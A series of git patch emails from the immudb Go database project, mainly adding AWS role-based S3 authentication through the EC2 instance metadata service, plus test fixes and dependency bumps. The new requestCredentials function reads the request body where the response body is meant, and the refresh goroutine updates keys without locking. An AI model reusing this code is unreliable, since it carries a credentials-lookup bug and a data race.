db.QueryContext(context.Background(), fmt.Sprintf("SELECT id, amount, title, content, isPresent FROM %s where isPresent=? and id=? and amount=? and total=? and title=?", table), true, 1, 1000, 6000, "title 1") + rows, err := db.QueryContext(context.Background(), fmt.Sprintf("SELECT id, amount, title, content, isPresent, publicID FROM %s where isPresent=? and id=? and amount=? and total=? and title=?", table), true, 1, 1000, 6000, "title 1") require.NoError(t, err) defer rows.Close() rows.Next() - err = rows.Scan(&id, &amount, &title, &content, &isPresent) + err = rows.Scan(&id, &amount, &title, &content, &isPresent, &publicID) require.NoError(t, err) require.Equal(t, int64(1), id) require.Equal(t, int64(1000), amount) require.Equal(t, "title 1", title) require.Equal(t, binaryContent, content) require.Equal(t, true, isPresent) + require.Equal(t, uuidPublicID, publicID) } func TestQueryCapabilitiesWithPointers(t *testing.T) { From cc2701f38b1ba483e23ed11ce997e0142a352e13 Mon Sep 17 00:00:00 2001 From: NikitaSmall Date: Mon, 12 Jun 2023 15:08:56 +0300 Subject: [PATCH 0943/1062] feat: add s3 (aws) role based auth as an option feat: use aws role to provide credentials when the role is provided, the storage gets the credentials based on the security metadata. This change also includes the refresh of the credentials. feat: update readme so there is an example of role-based config feat: fix typo feat: use generic parameter to enable role lookup feat: use logging within the credentials refresh routine feat: update readme feat: use named constant for period fix: correct immudb naming fix: address style-related comments fix: correct minor comments feat: use instance metadata url as a flag with the default --- README.md | 23 ++++ cmd/immudb/command/init.go | 6 + cmd/immudb/command/parse_options.go | 8 +- embedded/remotestorage/s3/s3.go | 175 ++++++++++++++++++++++++--- embedded/remotestorage/s3/s3_test.go | 57 ++++++++- pkg/server/options.go | 39 ++++-- pkg/server/options_test.go | 53 +++++++- pkg/server/remote_storage.go | 8 ++ 8 files changed, 340 insertions(+), 29 deletions(-) diff --git a/README.md b/README.md index 04daea5d41..b288c761e2 100644 --- a/README.md +++ b/README.md @@ -181,6 +181,29 @@ such as with AWS ECS Fargate, the identifier can be taken from S3. To enable tha export IMMUDB_S3_EXTERNAL_IDENTIFIER=true ``` +You can also use the role-based credentials for more flexible and secure configuration. +This allows the service to be used with instance role configuration without a user entity. +The following example shows how to run immudb with the S3 storage enabled using AWS Roles: + +```bash +export IMMUDB_S3_STORAGE=true +export IMMUDB_S3_ROLE_ENABLED=true +export IMMUDB_S3_BUCKET_NAME= +export IMMUDB_S3_LOCATION= +export IMMUDB_S3_PATH_PREFIX=testing-001 +export IMMUDB_S3_ENDPOINT="https://${IMMUDB_S3_BUCKET_NAME}.s3.${IMMUDB_S3_LOCATION}.amazonaws.com" + +./immudb +``` + +Optionally, you can specify the exact role immudb should be using with: + +```bash +export IMMUDB_S3_ROLE= +``` + +Remember, the `IMMUDB_S3_ROLE_ENABLED` parameter still should be on. + You can also easily use immudb with compatible s3 alternatives such as the [minio](https://github.com/minio/minio) server: diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 2d5d2350d7..d5859cff60 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -72,13 +72,16 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Int("pgsql-server-port", 5432, "pgsql server port") cmd.Flags().Bool("pprof", false, "add pprof profiling endpoint on the metrics server") cmd.Flags().Bool("s3-storage", false, "enable or disable s3 storage") + cmd.Flags().Bool("s3-role-enabled", false, "enable role-based authentication for s3 storage") cmd.Flags().String("s3-endpoint", "", "s3 endpoint") + cmd.Flags().String("s3-role", "", "role name for role-based authentication attempt for s3 storage") cmd.Flags().String("s3-access-key-id", "", "s3 access key id") cmd.Flags().String("s3-secret-key", "", "s3 secret access key") cmd.Flags().String("s3-bucket-name", "", "s3 bucket name") cmd.Flags().String("s3-location", "", "s3 location (region)") cmd.Flags().String("s3-path-prefix", "", "s3 path prefix (multiple immudb instances can share the same bucket if they have different prefixes)") cmd.Flags().Bool("s3-external-identifier", false, "use the remote identifier if there is no local identifier") + cmd.Flags().String("s3-instance-metadata-url", "http://169.254.169.254", "s3 instance metadata url") cmd.Flags().Int("max-sessions", 100, "maximum number of simultaneously opened sessions") cmd.Flags().Duration("max-session-inactivity-time", 3*time.Minute, "max session inactivity time is a duration after which an active session is declared inactive by the server. A session is kept active if server is still receiving requests from client (keep-alive or other methods)") cmd.Flags().Duration("max-session-age-time", 0, "the current default value is infinity. max session age time is a duration after which session will be forcibly closed") @@ -135,12 +138,15 @@ func setupDefaults(options *server.Options) { viper.SetDefault("pprof", false) viper.SetDefault("s3-storage", false) viper.SetDefault("s3-endpoint", "") + viper.SetDefault("s3-role-enabled", false) + viper.SetDefault("s3-role", "") viper.SetDefault("s3-access-key-id", "") viper.SetDefault("s3-secret-key", "") viper.SetDefault("s3-bucket-name", "") viper.SetDefault("s3-location", "") viper.SetDefault("s3-path-prefix", "") viper.SetDefault("s3-external-identifier", false) + viper.SetDefault("s3-instance-metadata-url", "http://169.254.169.254") viper.SetDefault("max-sessions", 100) viper.SetDefault("max-session-inactivity-time", 3*time.Minute) viper.SetDefault("max-session-age-time", 0) diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index aa616dbb3d..10b07a75c4 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -86,6 +86,8 @@ func parseOptions() (options *server.Options, err error) { swaggerUIEnabled := viper.GetBool("swaggerui") s3Storage := viper.GetBool("s3-storage") + s3RoleEnabled := viper.GetBool("s3-role-enabled") + s3Role := viper.GetString("s3-role") s3Endpoint := viper.GetString("s3-endpoint") s3AccessKeyID := viper.GetString("s3-access-key-id") s3SecretKey := viper.GetString("s3-secret-key") @@ -93,16 +95,20 @@ func parseOptions() (options *server.Options, err error) { s3Location := viper.GetString("s3-location") s3PathPrefix := viper.GetString("s3-path-prefix") s3ExternalIdentifier := viper.GetBool("s3-external-identifier") + s3MetadataURL := viper.GetString("s3-instance-metadata-url") remoteStorageOptions := server.DefaultRemoteStorageOptions(). WithS3Storage(s3Storage). + WithS3RoleEnabled(s3RoleEnabled). + WithS3Role(s3Role). WithS3Endpoint(s3Endpoint). WithS3AccessKeyID(s3AccessKeyID). WithS3SecretKey(s3SecretKey). WithS3BucketName(s3BucketName). WithS3Location(s3Location). WithS3PathPrefix(s3PathPrefix). - WithS3ExternalIdentifier(s3ExternalIdentifier) + WithS3ExternalIdentifier(s3ExternalIdentifier). + WithS3InstanceMetadataURL(s3MetadataURL) sessionOptions := sessions.DefaultOptions(). WithMaxSessions(viper.GetInt("max-sessions")). diff --git a/embedded/remotestorage/s3/s3.go b/embedded/remotestorage/s3/s3.go index 11d5863972..b43d5a4965 100644 --- a/embedded/remotestorage/s3/s3.go +++ b/embedded/remotestorage/s3/s3.go @@ -23,6 +23,7 @@ import ( "crypto/sha256" "encoding/base64" "encoding/hex" + "encoding/json" "encoding/xml" "errors" "fmt" @@ -32,6 +33,7 @@ import ( "net/http" "net/url" "os" + "regexp" "sort" "strconv" "strings" @@ -41,17 +43,24 @@ import ( ) type Storage struct { - endpoint string - accessKeyID string - secretKey string - bucket string - prefix string - location string - httpClient *http.Client + endpoint string + S3RoleEnabled bool + s3Role string + accessKeyID string + secretKey string + bucket string + prefix string + location string + httpClient *http.Client + + awsInstanceMetadataURL string + awsCredsRefreshPeriod time.Duration } var ( ErrInvalidArguments = errors.New("invalid arguments") + ErrKeyCredentialsProvided = errors.New("remote storage configuration already includes access key and/or secret key") + ErrCredentialsCannotBeFound = errors.New("cannot find credentials based on instance role remote storage") ErrInvalidArgumentsOffsSize = fmt.Errorf("%w: negative offset or zero size", ErrInvalidArguments) ErrInvalidArgumentsNameStartSlash = fmt.Errorf("%w: name can not start with /", ErrInvalidArguments) ErrInvalidArgumentsNameEndSlash = fmt.Errorf("%w: name can not end with /", ErrInvalidArguments) @@ -73,17 +82,22 @@ var ( ErrInvalidResponseSubPathUnescape = fmt.Errorf("%w: error un-escaping object name", ErrInvalidResponse) ErrTooManyRedirects = errors.New("too many redirects") + + arnRoleRegex = regexp.MustCompile(`arn:.*\/(.*)`) ) const maxRedirects = 5 func Open( endpoint string, + S3RoleEnabled bool, + s3Role string, accessKeyID string, secretKey string, bucket string, location string, prefix string, + awsInstanceMetadataURL string, ) (remotestorage.Storage, error) { // Endpoint must always end with '/' @@ -106,19 +120,30 @@ func Open( prefix = prefix + "/" } - return &Storage{ - endpoint: endpoint, - accessKeyID: accessKeyID, - secretKey: secretKey, - bucket: bucket, - location: location, - prefix: prefix, + s3storage := &Storage{ + endpoint: endpoint, + S3RoleEnabled: S3RoleEnabled, + s3Role: s3Role, + accessKeyID: accessKeyID, + secretKey: secretKey, + bucket: bucket, + location: location, + prefix: prefix, httpClient: &http.Client{ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, }, - }, nil + awsInstanceMetadataURL: awsInstanceMetadataURL, + awsCredsRefreshPeriod: time.Minute, + } + + err := s3storage.getRoleCredentials() + if err != nil { + return nil, err + } + + return s3storage, nil } func (s *Storage) Kind() string { @@ -691,4 +716,124 @@ func (s *Storage) scanObjectNames(ctx context.Context, prefix string, limit int) return entries, subPaths, nil } +func (s *Storage) getRoleCredentials() error { + if !s.S3RoleEnabled { + return nil + } + + var err error + s.accessKeyID, s.secretKey, err = s.requestCredentials() + if err != nil { + return err + } + + s3CredentialsRefreshTicker := time.NewTicker(s.awsCredsRefreshPeriod) + go func() { + for { + select { + case _ = <-s3CredentialsRefreshTicker.C: + accessKeyID, secretKey, err := s.requestCredentials() + if err != nil { + log.Printf("S3 role credentials lookup failed with an error: %v", err) + continue + } + s.accessKeyID, s.secretKey = accessKeyID, secretKey + } + } + }() + + return nil +} + +func (s *Storage) requestCredentials() (string, string, error) { + tokenReq, err := http.NewRequest("PUT", fmt.Sprintf("%s%s", + s.awsInstanceMetadataURL, + "/latest/api/token", + ), nil) + if err != nil { + return "", "", errors.New("cannot form metadata token request") + } + + tokenReq.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "21600") + + tokenResp, err := http.DefaultClient.Do(tokenReq) + if err != nil { + return "", "", errors.New("cannot get metadata token") + } + defer tokenResp.Body.Close() + + token, err := ioutil.ReadAll(tokenResp.Body) + if err != nil { + return "", "", errors.New("cannot read metadata token") + } + + role := s.s3Role + if s.s3Role == "" { + roleReq, err := http.NewRequest("GET", fmt.Sprintf("%s%s", + s.awsInstanceMetadataURL, + "/latest/meta-data/iam/info", + ), nil) + if err != nil { + return "", "", errors.New("cannot form role name request") + } + + roleReq.Header.Set("X-aws-ec2-metadata-token", string(token)) + roleResp, err := http.DefaultClient.Do(roleReq) + if err != nil { + return "", "", errors.New("cannot get role name") + } + defer roleResp.Body.Close() + + creds, err := ioutil.ReadAll(roleResp.Body) + if err != nil { + return "", "", errors.New("cannot read role name") + } + + var metadata struct { + InstanceProfileArn string `json:"InstanceProfileArn"` + } + if err := json.Unmarshal(creds, &metadata); err != nil { + return "", "", errors.New("cannot parse role name") + } + + match := arnRoleRegex.FindStringSubmatch(metadata.InstanceProfileArn) + if len(match) < 2 { + return "", "", ErrCredentialsCannotBeFound + } + + role = match[1] + } + + credsReq, err := http.NewRequest("GET", fmt.Sprintf("%s%s/%s", + s.awsInstanceMetadataURL, + "/latest/meta-data/iam/security-credentials", + role, + ), nil) + if err != nil { + return "", "", errors.New("cannot form role credentials request") + } + + credsReq.Header.Set("X-aws-ec2-metadata-token", string(token)) + credsResp, err := http.DefaultClient.Do(credsReq) + if err != nil { + return "", "", errors.New("cannot get role credentials") + } + defer credsResp.Body.Close() + + creds, err := ioutil.ReadAll(credsReq.Body) + if err != nil { + return "", "", errors.New("cannot read role credentials") + } + + var credentials struct { + AccessKeyID string `json:"AccessKeyId"` + SecretAccessKey string `json:"SecretAccessKey"` + } + if err := json.Unmarshal(creds, &credentials); err != nil { + return "", "", errors.New("cannot parse role credentials") + } + + return credentials.AccessKeyID, credentials.SecretAccessKey, nil +} + var _ remotestorage.Storage = (*Storage)(nil) diff --git a/embedded/remotestorage/s3/s3_test.go b/embedded/remotestorage/s3/s3_test.go index 04e7352f3d..b8598150b0 100644 --- a/embedded/remotestorage/s3/s3_test.go +++ b/embedded/remotestorage/s3/s3_test.go @@ -33,11 +33,14 @@ import ( func TestOpen(t *testing.T) { s, err := Open( "http://localhost:9000", + false, + "", "minioadmin", "minioadmin", "immudb", "", "prefix", + "", ) require.NoError(t, err) require.NotNil(t, s) @@ -79,11 +82,14 @@ func TestCornerCases(t *testing.T) { t.Run("bucket name can not be empty", func(t *testing.T) { s, err := Open( "http://localhost:9000", + false, + "", "minioadmin", "minioadmin", "", "", "", + "", ) require.ErrorIs(t, err, ErrInvalidArguments) require.ErrorIs(t, err, ErrInvalidArgumentsBucketEmpty) @@ -93,11 +99,14 @@ func TestCornerCases(t *testing.T) { t.Run("bucket name can not contain /", func(t *testing.T) { s, err := Open( "http://localhost:9000", + false, + "", "minioadmin", "minioadmin", "immudb/test", "", "", + "", ) require.ErrorIs(t, err, ErrInvalidArguments) require.ErrorIs(t, err, ErrInvalidArgumentsBucketSlash) @@ -107,33 +116,42 @@ func TestCornerCases(t *testing.T) { t.Run("prefix must be correctly normalized", func(t *testing.T) { s, err := Open( "http://localhost:9000", + false, + "", "minioadmin", "minioadmin", "immudb", "", "", + "", ) require.NoError(t, err) require.Equal(t, "", s.(*Storage).prefix) s, err = Open( "http://localhost:9000", + false, + "", "minioadmin", "minioadmin", "immudb", "", "/test/", + "", ) require.NoError(t, err) require.Equal(t, "test/", s.(*Storage).prefix) s, err = Open( "http://localhost:9000", + false, + "", "minioadmin", "minioadmin", "immudb", "", "/test", + "", ) require.NoError(t, err) require.Equal(t, "test/", s.(*Storage).prefix) @@ -142,11 +160,14 @@ func TestCornerCases(t *testing.T) { t.Run("invalid url", func(t *testing.T) { s, err := Open( "h**s://localhost:9000", + false, + "", "minioadmin", "minioadmin", "bucket", "", "", + "", ) require.NoError(t, err) require.Equal(t, "s3(misconfigured)", s.String()) @@ -155,11 +176,14 @@ func TestCornerCases(t *testing.T) { t.Run("invalid get / put / exists path", func(t *testing.T) { s, err := Open( "htts://localhost:9000", + false, + "", "minioadmin", "minioadmin", "bucket", "", "", + "", ) require.NoError(t, err) @@ -179,11 +203,14 @@ func TestCornerCases(t *testing.T) { t.Run("invalid get offset / size", func(t *testing.T) { s, err := Open( "htts://localhost:9000", + false, + "", "minioadmin", "minioadmin", "bucket", "", "", + "", ) require.NoError(t, err) @@ -192,14 +219,33 @@ func TestCornerCases(t *testing.T) { require.ErrorIs(t, err, ErrInvalidArgumentsOffsSize) }) + t.Run("invalid role and credentials settings", func(t *testing.T) { + s, err := Open( + "htts://localhost:9000", + true, + "role", + "minioadmin", + "minioadmin", + "bucket", + "", + "", + "", + ) + require.Error(t, err) + require.Nil(t, s) + }) + t.Run("invalid list path", func(t *testing.T) { s, err := Open( "https://localhost:9000", + false, + "", "minioadmin", "minioadmin", "bucket", "", "", + "", ) require.NoError(t, err) @@ -216,7 +262,7 @@ func TestCornerCases(t *testing.T) { })) defer ts.Close() - s, err := Open(ts.URL, "", "", "bucket", "", "") + s, err := Open(ts.URL, false, "", "", "", "bucket", "", "", "") require.NoError(t, err) ctx := context.Background() @@ -231,7 +277,7 @@ func TestCornerCases(t *testing.T) { })) defer ts.Close() - s, err := Open(ts.URL, "", "", "bucket", "", "") + s, err := Open(ts.URL, false, "", "", "", "bucket", "", "", "") require.NoError(t, err) ctx := context.Background() @@ -246,11 +292,14 @@ func TestSignatureV4(t *testing.T) { // https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-header-based-auth.html s, err := Open( "https://examplebucket.s3.amazonaws.com", + false, + "", "AKIAIOSFODNN7EXAMPLE", "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", "examplebucket", "us-east-1", "", + "", ) require.NoError(t, err) @@ -329,7 +378,7 @@ func TestHandlingRedirects(t *testing.T) { })) defer ts.Close() - s, err := Open(ts.URL, "", "", "bucket", "", "") + s, err := Open(ts.URL, false, "", "", "", "bucket", "", "", "") require.NoError(t, err) ctx := context.Background() @@ -712,7 +761,7 @@ func TestListEntries(t *testing.T) { })) defer ts.Close() - s, err := Open(ts.URL, "", "", "bucket", "", "") + s, err := Open(ts.URL, false, "", "", "", "bucket", "", "", "") require.NoError(t, err) ctx := context.Background() diff --git a/pkg/server/options.go b/pkg/server/options.go index 5019334c7f..09c8eaac81 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -77,14 +77,17 @@ type Options struct { } type RemoteStorageOptions struct { - S3Storage bool - S3Endpoint string - S3AccessKeyID string - S3SecretKey string `json:"-"` - S3BucketName string - S3Location string - S3PathPrefix string - S3ExternalIdentifier bool + S3Storage bool + S3RoleEnabled bool + S3Role string + S3Endpoint string + S3AccessKeyID string + S3SecretKey string `json:"-"` + S3BucketName string + S3Location string + S3PathPrefix string + S3ExternalIdentifier bool + S3InstanceMetadataURL string } type ReplicationOptions struct { @@ -319,6 +322,10 @@ func (o *Options) String() string { } if o.RemoteStorageOptions.S3Storage { opts = append(opts, "S3 storage") + if o.RemoteStorageOptions.S3RoleEnabled { + opts = append(opts, rightPad(" role auth", o.RemoteStorageOptions.S3RoleEnabled)) + opts = append(opts, rightPad(" role name", o.RemoteStorageOptions.S3Role)) + } opts = append(opts, rightPad(" endpoint", o.RemoteStorageOptions.S3Endpoint)) opts = append(opts, rightPad(" bucket name", o.RemoteStorageOptions.S3BucketName)) if o.RemoteStorageOptions.S3Location != "" { @@ -326,6 +333,7 @@ func (o *Options) String() string { } opts = append(opts, rightPad(" prefix", o.RemoteStorageOptions.S3PathPrefix)) opts = append(opts, rightPad(" external id", o.RemoteStorageOptions.S3ExternalIdentifier)) + opts = append(opts, rightPad(" metadata url", o.RemoteStorageOptions.S3InstanceMetadataURL)) } if o.AdminPassword == auth.SysAdminPassword { opts = append(opts, "----------------------------------------") @@ -486,6 +494,16 @@ func (opts *RemoteStorageOptions) WithS3Storage(S3Storage bool) *RemoteStorageOp return opts } +func (opts *RemoteStorageOptions) WithS3RoleEnabled(S3RoleEnabled bool) *RemoteStorageOptions { + opts.S3RoleEnabled = S3RoleEnabled + return opts +} + +func (opts *RemoteStorageOptions) WithS3Role(S3Role string) *RemoteStorageOptions { + opts.S3Role = S3Role + return opts +} + func (opts *RemoteStorageOptions) WithS3Endpoint(s3Endpoint string) *RemoteStorageOptions { opts.S3Endpoint = s3Endpoint return opts @@ -521,6 +539,11 @@ func (opts *RemoteStorageOptions) WithS3ExternalIdentifier(s3ExternalIdentifier return opts } +func (opts *RemoteStorageOptions) WithS3InstanceMetadataURL(url string) *RemoteStorageOptions { + opts.S3InstanceMetadataURL = url + return opts +} + // ReplicationOptions func (opts *ReplicationOptions) WithIsReplica(isReplica bool) *ReplicationOptions { diff --git a/pkg/server/options_test.go b/pkg/server/options_test.go index a5d098c2e5..33b07b95cc 100644 --- a/pkg/server/options_test.go +++ b/pkg/server/options_test.go @@ -238,6 +238,7 @@ S3 storage location : s3-location prefix : s3-path-prefix external id : false + metadata url : http://169.254.169.254 ---------------------------------------- Superadmin default credentials Username : immudb @@ -253,7 +254,56 @@ Superadmin default credentials WithS3Endpoint("s3-endpoint"). WithS3BucketName("s3-bucket-name"). WithS3Location("s3-location"). - WithS3PathPrefix("s3-path-prefix"), + WithS3PathPrefix("s3-path-prefix"). + WithS3InstanceMetadataURL("http://169.254.169.254"), + ) + + require.Equal(t, expected, op.String()) +} + +func TestOptionsStringWithS3RoleBased(t *testing.T) { + expected := `================ Config ================ +Data dir : ./data +Address : 0.0.0.0:3322 +Metrics address : 0.0.0.0:9497/metrics +Sync replication : false +Config file : configs/immudb.toml +PID file : immu.pid +Log file : immu.log +Max recv msg size: 33554432 +Auth enabled : true +Dev mode : false +Default database : defaultdb +Maintenance mode : false +Synced mode : true +S3 storage + role auth : true + role name : s3-role + endpoint : s3-endpoint + bucket name : s3-bucket-name + location : s3-location + prefix : s3-path-prefix + external id : false + metadata url : http://169.254.169.254 +---------------------------------------- +Superadmin default credentials + Username : immudb + Password : immudb +========================================` + + op := DefaultOptions(). + WithPidfile("immu.pid"). + WithLogfile("immu.log"). + WithRemoteStorageOptions( + DefaultRemoteStorageOptions(). + WithS3Storage(true). + WithS3RoleEnabled(true). + WithS3Role("s3-role"). + WithS3Endpoint("s3-endpoint"). + WithS3BucketName("s3-bucket-name"). + WithS3Location("s3-location"). + WithS3PathPrefix("s3-path-prefix"). + WithS3InstanceMetadataURL("http://169.254.169.254"), ) require.Equal(t, expected, op.String()) @@ -280,6 +330,7 @@ S3 storage location : s3-location prefix : s3-path-prefix external id : true + metadata url : ---------------------------------------- Superadmin default credentials Username : immudb diff --git a/pkg/server/remote_storage.go b/pkg/server/remote_storage.go index 1e941099b5..d051a7f230 100644 --- a/pkg/server/remote_storage.go +++ b/pkg/server/remote_storage.go @@ -44,14 +44,22 @@ var ( func (s *ImmuServer) createRemoteStorageInstance() (remotestorage.Storage, error) { if s.Options.RemoteStorageOptions.S3Storage { + if s.Options.RemoteStorageOptions.S3RoleEnabled && + (s.Options.RemoteStorageOptions.S3AccessKeyID != "" || s.Options.RemoteStorageOptions.S3SecretKey != "") { + return nil, s3.ErrKeyCredentialsProvided + } + // S3 storage return s3.Open( s.Options.RemoteStorageOptions.S3Endpoint, + s.Options.RemoteStorageOptions.S3RoleEnabled, + s.Options.RemoteStorageOptions.S3Role, s.Options.RemoteStorageOptions.S3AccessKeyID, s.Options.RemoteStorageOptions.S3SecretKey, s.Options.RemoteStorageOptions.S3BucketName, s.Options.RemoteStorageOptions.S3Location, s.Options.RemoteStorageOptions.S3PathPrefix, + s.Options.RemoteStorageOptions.S3InstanceMetadataURL, ) } From 4ee85fc59c1349306b4eb0571ccd277d318e15f7 Mon Sep 17 00:00:00 2001 From: NikitaSmall Date: Fri, 30 Jun 2023 18:19:46 +0300 Subject: [PATCH 0944/1062] fix: correct the test after the merge and latest refactor --- pkg/server/remote_storage_test.go | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index ba431b816c..15551f226d 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -253,8 +253,7 @@ func TestInitializeWithRemoteStorageWithoutIdentifier(t *testing.T) { s.WithOptions(opts) - m := memory.Open() - s.remoteStorage = m + var m remotestorage.Storage = nil err := s.initializeRemoteStorage(m) require.ErrorIs(t, err, ErrNoRemoteIdentifier) From aafe27e7240d06522f382ee6ddee967be64dde32 Mon Sep 17 00:00:00 2001 From: NikitaSmall Date: Thu, 9 Nov 2023 15:34:35 +0200 Subject: [PATCH 0945/1062] provide correct error --- pkg/server/remote_storage_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 15551f226d..9623e90b54 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -256,7 +256,7 @@ func TestInitializeWithRemoteStorageWithoutIdentifier(t *testing.T) { var m remotestorage.Storage = nil err := s.initializeRemoteStorage(m) - require.ErrorIs(t, err, ErrNoRemoteIdentifier) + require.ErrorIs(t, err, ErrNoStorageForIdentifier) } func TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) { From 9cfa35003ce361c3df4d53465d41b724bcee5018 Mon Sep 17 00:00:00 2001 From: NikitaSmall Date: Thu, 9 Nov 2023 15:55:36 +0200 Subject: [PATCH 0946/1062] correct minio tests --- embedded/remotestorage/s3/s3_with_minio_test.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/embedded/remotestorage/s3/s3_with_minio_test.go b/embedded/remotestorage/s3/s3_with_minio_test.go index 6c39f64285..63d11e18da 100644 --- a/embedded/remotestorage/s3/s3_with_minio_test.go +++ b/embedded/remotestorage/s3/s3_with_minio_test.go @@ -37,11 +37,14 @@ func TestS3WithServer(t *testing.T) { s, err := Open( "http://localhost:9000", + false, + "", "minioadmin", "minioadmin", "immudb", "", fmt.Sprintf("prefix_%x", randomBytes), + "", ) require.NoError(t, err) From 1f5793490e9bfd59d9c1216aeb1660be570c837f Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Tue, 19 Dec 2023 16:35:47 +0100 Subject: [PATCH 0947/1062] add: test for underscore name --- pkg/server/server_test.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 36077557b2..57fcdea77c 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -1887,6 +1887,9 @@ func TestServerIsValidDBName(t *testing.T) { err = isValidDBName("-") require.ErrorContains(t, err, "punctuation marks and symbols are not allowed in database name") + err = isValidDBName("_") + require.NoError(t, err) + err = isValidDBName(strings.Repeat("a", 32)) require.NoError(t, err) From 0f41580133b93fc2bd6cd2d2125ee3a270dba97d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 18 Dec 2023 18:11:56 +0000 Subject: [PATCH 0948/1062] chore(deps): bump golang.org/x/crypto from 0.14.0 to 0.17.0 Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.14.0 to 0.17.0. - [Commits](https://github.com/golang/crypto/compare/v0.14.0...v0.17.0) --- updated-dependencies: - dependency-name: golang.org/x/crypto dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 8 ++++---- go.sum | 12 ++++++++---- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/go.mod b/go.mod index 844cd789e0..854a12d3ff 100644 --- a/go.mod +++ b/go.mod @@ -34,9 +34,9 @@ require ( github.com/spf13/viper v1.15.0 github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 - golang.org/x/crypto v0.14.0 + golang.org/x/crypto v0.17.0 golang.org/x/net v0.17.0 - golang.org/x/sys v0.13.0 + golang.org/x/sys v0.15.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d google.golang.org/grpc v1.57.0 @@ -100,8 +100,8 @@ require ( github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect golang.org/x/mod v0.9.0 // indirect - golang.org/x/term v0.13.0 // indirect - golang.org/x/text v0.13.0 // indirect + golang.org/x/term v0.15.0 // indirect + golang.org/x/text v0.14.0 // indirect golang.org/x/tools v0.7.0 // indirect google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect diff --git a/go.sum b/go.sum index 2f905d79bb..0a1b4076d4 100644 --- a/go.sum +++ b/go.sum @@ -1514,8 +1514,9 @@ golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= -golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc= golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= +golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= +golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20180807140117-3d87b88a115f/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= @@ -1802,8 +1803,9 @@ golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= +golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term 